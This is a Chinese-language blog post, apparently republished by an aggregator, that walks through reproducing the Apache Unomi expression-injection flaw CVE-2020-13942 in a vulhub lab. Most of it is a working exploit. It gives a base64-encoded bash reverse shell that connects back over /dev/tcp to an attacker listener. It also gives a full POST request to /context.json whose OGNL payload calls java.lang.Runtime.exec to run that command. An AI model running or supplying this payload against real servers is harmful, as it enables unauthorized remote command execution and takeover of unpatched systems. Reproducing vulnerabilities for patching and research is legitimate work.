Apache Unomi 远程表达式代码执行(CVE-2020-13942)漏洞复现
Posted 黑白之道
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Unomi 远程表达式代码执行(CVE-2020-13942)漏洞复现相关的知识,希望对你有一定的参考价值。
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。
影响版本:
Apache Unomi < 1.5.2
漏洞复现:
使用vulhub搭建docker环境,访问主页http://192.168.10.128:8181/
将bash命令进行编码
(网站:http://www.jackson-t.ca/runtime-exec-payloads.html)
bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNC85OTk5IDA JjE=}|{base64,-d}|{bash,-i}
监听端口
抓包执行poc
POST /context.json HTTP/1.1
Host: 192.168.10.128:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1142
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName("java.lang.Runtime")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,"bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNC85OTk5IDA JjE=}|{base64,-d}|{bash,-i}iid"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
反弹shell成功
推荐文章++++
*
*
*
以上是关于Apache Unomi 远程表达式代码执行(CVE-2020-13942)漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
S2-053:Apache Struts2远程代码执行漏洞(中危)
42款思科产品或受Apache Struts2远程代码执行漏洞(S2-053)影响
[CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)